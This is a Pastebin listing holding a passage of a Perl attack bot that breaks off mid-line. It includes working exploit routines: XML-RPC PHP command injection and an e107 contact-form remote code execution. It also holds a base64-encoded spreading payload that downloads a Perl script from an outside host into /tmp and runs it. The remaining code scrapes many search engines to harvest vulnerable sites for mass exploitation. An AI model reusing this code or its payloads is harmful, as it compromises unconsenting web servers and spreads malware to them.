  1242. my $userAgent = LWP::UserAgent->new(agent => 'perl post');
  1243.         $exploit = "<?xml version=\"1.0\"?><methodCall>";
  1244.         $exploit .= "<methodName>test.method</methodName>";
  1245.         $exploit .= "<params><param><value><name>',''));";
  1246.         $exploit .= "echo'j13mb0t';echo`uname -a`;echo'j13mb0t';exit;/*</name></value></param></params></methodCall>";
  1247. my $response = $userAgent->request(POST $xmltgt, Content_Type => 'text/xml', Content => $exploit);
  1248. if ($response->content =~ /j13mb0t(.*)j13mb0t/s) {
  1249. $os=$1;
  1250. }}
  1251. sub xmlvuln {
  1252. my $xmltargt = $_[0];
  1253. my $userAgent = LWP::UserAgent->new(agent => 'perl post');
  1254.         $exploit = "<?xml version=\"1.0\"?><methodCall>";
  1255.         $exploit .= "<methodName>test.method</methodName>";
  1256.         $exploit .= "<params><param><value><name>',''));";
  1257.         $exploit .= "echo 'J1mb0'.'T';exit;/*</name></value></param></params></methodCall>";
  1258. my $response = $userAgent->request(POST $xmltargt, Content_Type => 'text/xml', Content => $exploit);
  1259. if ($response->content =~ /J1mb0T/) {
  1260. $shellx=$xmltargt;
  1261. }}
  1262. sub xmlxspread() {
  1263. my $xmltargt = $_[0];
  1264. my $xmlsprd = $_[1];
  1265. my $userAgent = LWP::UserAgent->new(agent => 'perl post');
  1266.         $exploit = "<?xml version=\"1.0\"?><methodCall>";
  1267.         $exploit .= "<methodName>test.method</methodName>";
  1268.         $exploit .= "<params><param><value><name>',''));";
  1269.         $exploit .= "echo'j13m';echo`".$xmlsprd."`;echo'b0T';exit;/*</name></value></param></params></methodCall>";
  1270. my $response = $userAgent->request(POST $xmltargt, Content_Type => 'text/xml', Content => $exploit);
  1271. }
  1272.  
  1273. sub e107_rce_query() {
  1274.     my $url = $_[0];
  1275.     my $code = $_[1];
  1276.     my $req = HTTP::Request->new(POST => $url);
  1277.     $req->content_type('application/x-www-form-urlencoded');
  1278.     $req->content("send-contactus=1&author_name=[php]eval(base64_decode('".$code."'));die;[/php]");
  1279.     my $ua = LWP::UserAgent->new(agent => $uagent);
  1280.     $ua->timeout(10);
  1281.     my $res = $ua->request($req);
  1282.     return $res->content;
  1283. }
  1284.  
  1285. sub e107_spread_query() {
  1286.     my $url = $_[0];
  1287.     my $code = "JGNtZD0iY2QgL3RtcDt3Z2V0IGh0dHA6Ly91dGFtYS1hdWRpby5jb20vdGVtcC9hbGF0LnR4dDtwZXJsIGFsYXQudHh0O3JtIC1yZiBhbGF0LnR4dCI7CiRlc2VndWljbWQ9ZXgoJGNtZCk7CmVjaG8gJGVzZWd1aWNtZDsKZnVuY3Rpb24gZXgoJGNmZSl7CiRyZXMgPSAnJzsKaWYgKCFlbXB0eSgkY2ZlKSl7CmlmKGZ1bmN0aW9uX2V4aXN0cygnZXhlYycpKXsKQGV4ZWMoJGNmZSwkcmVzKTsKJHJlcyA9IGpvaW4oIlxuIiwkcmVzKTsKfQplbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCdzaGVsbF9leGVjJykpewokcmVzID0gQHNoZWxsX2V4ZWMoJGNmZSk7Cn0KZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygnc3lzdGVtJykpewpAb2Jfc3RhcnQoKTsKQHN5c3RlbSgkY2ZlKTsKJHJlcyA9IEBvYl9nZXRfY29udGVudHMoKTsKQG9iX2VuZF9jbGVhbigpOwp9CmVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ3Bhc3N0aHJ1JykpewpAb2Jfc3RhcnQoKTsKQHBhc3N0aHJ1KCRjZmUpOwokcmVzID0gQG9iX2dldF9jb250ZW50cygpOwpAb2JfZW5kX2NsZWFuKCk7Cn0KZWxzZWlmKEBpc19yZXNvdXJjZSgkZiA9IEBwb3BlbigkY2ZlLCJyIikpKXsKJHJlcyA9ICIiOwp3aGlsZSghQGZlb2YoJGYpKSB7ICRyZXMgLj0gQGZyZWFkKCRmLDEwMjQpOyB9CkBwY2xvc2UoJGYpOwp9fQpyZXR1cm4gJHJlczsKfQ==";
  1288.     my $req = HTTP::Request->new(POST => $url);
  1289.     $req->content_type('application/x-www-form-urlencoded');
  1290.     $req->content("send-contactus=1&author_name=[php]eval(base64_decode('".$code."'));die;[/php]");
  1291.     my $ua = LWP::UserAgent->new(agent => $uagent);
  1292.     $ua->timeout(10);
  1293.     my $res = $ua->request($req);
  1294. }
  1295.  
  1296. ######################################### SEARCH ENGINE yahoo hotbot lycos lygo black
  1297.  
  1298. sub google() {
  1299.     my @list;
  1300.     my $key = $_[0];
  1301.     for (my $i=0; $i<=5000; $i+=10){
  1302.         my $search = ("http://www.google.com/search?q=".&key($key)."&num=100&filter=0&start=".$i);
  1303.         my $res = &search_engine_query($search);
  1304.         while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
  1305.             my $link = $1;
  1306.             if ($link !~ /google/){
  1307.                 my @grep = &links($link);
  1308.                 push(@list,@grep);
  1309.             }
  1310.         }
  1311.     }
  1312.     return @list;
  1313. }
  1314.  
  1315. sub rediff() {
  1316.     my @list;
  1317.     my $key = $_[0];
  1318.     for (my $i=0; $i<=3000; $i+=10) {
  1319.         my $search = ("http://search1.rediff.com/dirsrch/default.asp?MT=".&key($key)."&iss=&submit=Search&firstres=".$i);
  1320.         my $res = &search_engine_query($search);
  1321.         while ($res =~ m/<a href=\"http:\/\/(.*?)\" onmousedown/g) {
  1322.             my $link = $1;
  1323.             if ($link !~ /search1|rediff/){
  1324.                 my @grep = &links($link);
  1325.                 push(@list,@grep);
  1326.             }
  1327.         }
  1328.     }
  1329.     return @list;
  1330. }
  1331.  
  1332. sub uol() {
  1333.     my @list;
  1334.     my $key = $_[0];
  1335.     for (my $i=1; $i<=3000; $i+=10) {
  1336.         my $search = ("http://mundo.busca.uol.com.br/buscar.html?q=".&key($key)."&start=".$i);
  1337.         my $res = &search_engine_query($search);
  1338.         while ($res =~ m/<a href=\"http:\/\/([^>\"]*)/g) {
  1339.             my $link = $1;
  1340.             if ($link !~ /busca|uol|yahoo/) {
  1341.                 my @grep = &links($link);
  1342.                 push(@list,@grep);
  1343.             }
  1344.         }
  1345.     }
  1346.     return @list;
  1347. }
  1348.  
  1349. sub bing() {
  1350.     my @list;
  1351.     my $key = $_[0];
  1352.     for (my $i=1; $i<=3000; $i+=10) {
  1353.         my $search = ("http://www.bing.com/search?q=".&key($key)."&filt=all&first=".$i."&FORM=PERE");
  1354.         my $res = &search_engine_query($search);
  1355.         while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
  1356.             my $link = $1;
  1357.             if ($link !~ /msn|live|bing/) {
  1358.                 my @grep = &links($link);
  1359.                 push(@list,@grep);
  1360.             }
  1361.         }
  1362.     }
  1363.     return @list;
  1364. }
  1365.  
  1366. sub altavista() {
  1367.     my @list;
  1368.     my $key = $_[0];
  1369.     for (my $i=1; $i<=3000; $i+=10){
  1370.         my $search = ("http://it.altavista.com/web/results?itag=ody&kgs=0&kls=0&dis=1&q=".&key($key)."&stq=".$i);
  1371.         my $res = &search_engine_query($search);
  1372.         while ($res =~ m/<span class=ngrn>(.+?)\//g) {
  1373.             my $link = $1;
  1374.             if ($link !~ /altavista/){
  1375.                 $link =~ s/<//g;
  1376.                 $link =~ s/ //g;
  1377.                 my @grep = &links($link);
  1378.                 push(@list,@grep);
  1379.             }
  1380.         }
  1381.     }
  1382.     return @list;
  1383. }
  1384.  
  1385. sub ask() {
  1386.     my @list;
  1387.     my $key = $_[0];
  1388.     for (my $i=0; $i<=3000; $i+=10) {
  1389.         my $search = ("http://it.ask.com/web?q=".&key($key)."&o=0&l=dir&qsrc=0&qid=EE90DE6E8F5370F363A63EC61228D4FE&dm=all&page=".$i);
  1390.         my $res = &search_engine_query($search);
  1391.         while ($res =~ m/href=\"http:\/\/(.+?)\" onmousedown=/g) {
  1392.             my $link = $1;
  1393.             if ($link !~ /ask\.com/){
  1394.                 my @grep = &links($link);
  1395.                 push(@list,@grep);
  1396.             }
  1397.         }
  1398.     }
  1399.     return @list;
  1400. }
  1401.  
  1402. sub yahoo(){
  1403.     my @list;
  1404.     my $key = $_[0];
  1405.     my $b   = 0;
  1406.     for ($b=1; $b<=2000; $b+=10) {
  1407.         my $search = ("http://www.search.yahoo.com/search?p=".&key($key)."&fr2=sb-top&fr=yfp-t-713&b=".$b);
  1408.         my $res = &search_engine_query($search);
  1409.         while ($res =~ m/\/\/(.*?)\"/g) {
  1410.             my $link = $1;
  1411.             if ($link!~ /search|yahoo/){
  1412.                 my @grep = &links($link);
  1413.                 push(@list,@grep);
  1414.             }
  1415.         }
  1416.     }
  1417.     return @list;
  1418. }
  1419.  
  1420. sub clusty() {
  1421.     my @list;
  1422.     my $key = $_[0];
  1423.     my $b   = 0;
  1424.     for ($b=10; $b<=3000; $b+=10) {
  1425.         my $search = ("http://search.yippy.com/search?query=".&key($key)."&input-form=clusty-simple&v:sources=webplus&v:state=root|root-".$b."-10|0&");
  1426.         my $res = &search_engine_query($search);
  1427.         while ($res =~ m/<div class=\"document-header\"><a href=\"http:\/\/(.*?)\"><span class=\"title\">/g) {
  1428.             my $link = $1;
  1429.             if ($link!~ /yippy|clusty/){
  1430.                 my @grep = &links($link);
  1431.                 push(@list,@grep);
  1432.             }
  1433.         }
  1434.     }
  1435.     return @list;
  1436. }
  1437.  
  1438. sub gutser() {
  1439.     my @list;
  1440.     my $key = $_[0];
  1441.     my $b   = 0;
  1442.     for ($b=1; $b<=500; $b+=1) {
  1443.         my $search = ("http://www.goodsearch.com/Search.aspx?Keywords=".&key($key)."&page=".$b."&osmax=0");
  1444.         my $res = &search_engine_query($search);
  1445.         while ($res =~ m/\">(.*?)<\/a><\/div><\/li><li>/g) {
  1446.             my $link = $1;
  1447.             if ($link!~ /goodsearch/){
  1448.                 my @grep = &links($link);
  1449.                 push(@list,@grep);
  1450.             }
  1451.         }
  1452.     }
  1453.     return @list;
  1454. }
  1455.  
  1456. sub google2() {
  1457.   my @list;
  1458.   my $key = $_[0];
  1459.   my $b   = 0;
  1460.   my @doms = (
  1461.     "com","ae","com.ar","at","com.au","be","com.br","ca","ch","cl","de","dk","fi","fr","gr","com.hk",
  1462.     "ie","co.il","it","co.jp","co.kr","lt","lv","nl","com.pa","com.pe","pl","pt","ru","com.sg",
  1463.     "com.tr","com.tw","com.ua","co.uk","hu","co.id","com.my");
  1464. foreach my $domain (@doms) { $dom = $doms[rand(scalar(@doms))];
  1465.     for ($b=1; $b<=3000; $b+=10) {
  1466.         my $search = ("http://www.google.".$dom."/search?num=50&q=".&key($key)."&start=".$b."&sa=N");
  1467.         my $res = &search_engine_query($search);
  1468.         while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
  1469.             my $link = $1;
  1470.             if ($link!~ /google|search/){
  1471.                 my @grep = &links($link);
  1472.                 push(@list,@grep);
  1473.             }
  1474.         }
  1475.     }
  1476.     return @list;
  1477. }
  1478. }
  1479. sub exalead() {
  1480.   my @list;
  1481.   my $key = $_[0];
  1482.     for ($b=0; $b<=4000; $b+=100) {
  1483.         my $search = ("http://www.exalead.com/search/web/results/?q=".&key($key)."&elements_per_page=100&start_index=".$b);
  1484.         my $res = &search_engine_query($search);
  1485.         while ($res =~ m/<a class=\"thumbnail\" href=\"http:\/\/(.*?)\"/g) {
  1486.             my $link = $1;
  1487.             if ($link!~ /exalead/){
  1488.                 my @grep = &links($link);
  1489.                 push(@list,@grep);
  1490.             }
  1491.             }
  1492.         }
  1493.     return @list;  
  1494. }  
  1495.  
  1496. sub lycos() { #mati#
  1497.   my @list;
  1498.   my $key = $_[0];
  1499.     for ($b=1; $b<=300; $b+=1) {
  1500.         my $search = ("http://search.lycos.com/?query=".&key($key)."&page2=".$b."&tab=web&searchArea=web");
  1501.         my $res = &search_engine_query($search);
  1502.         while ($res =~ m/href=\"http:\/\/([^>\"]*)\"/g) {
  1503.             my $link = $1;
  1504.             if ($link!~ /search|lycos/){
  1505.                 my @grep = &links($link);
  1506.                 push(@list,@grep);
  1507.             }
  1508.         }
  1509.     }
  1510.     return @list;  
  1511. }  
  1512.  
  1513. sub virgilio() {
  1514.   my @list;
  1515.   my $key = $_[0];
  1516.     for ($b=10; $b<=3000; $b+=10) {
  1517.         my $search = ("http://ricerca.virgilio.it/ricerca?qs=".&key($key)."&filter=1&site=&lr=&hits=10&offset=".$b);
  1518.         my $res = &search_engine_query($search);
  1519.         while ($res =~ m/<h3><a href=\"http:\/\/(.*?)\"/g) {
  1520.             my $link = $1;
  1521.             if ($link!~ /virgilio/){
  1522.                 my @grep = &links($link);
  1523.                 push(@list,@grep);
  1524.             }
  1525.         }
  1526.     }
  1527.     return @list;  
  1528. }  
  1529.  
  1530. sub webde() {
  1531.   my @list;
  1532.   my $key = $_[0];
  1533.     for ($b=0; $b<=300; $b+=1) {
  1534.         my $search = ("http://suche.web.de/search/web/?pageIndex=".$b."&su=".$key);
  1535.         my $res = &search_engine_query($search);
  1536.         while ($res =~ m/<span class=\"url\">http:\/\/(.*?)<\/span>/g) {
  1537.             my $link = $1;
  1538.             if ($link!~ /suche|web/){
  1539.                 my @grep
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!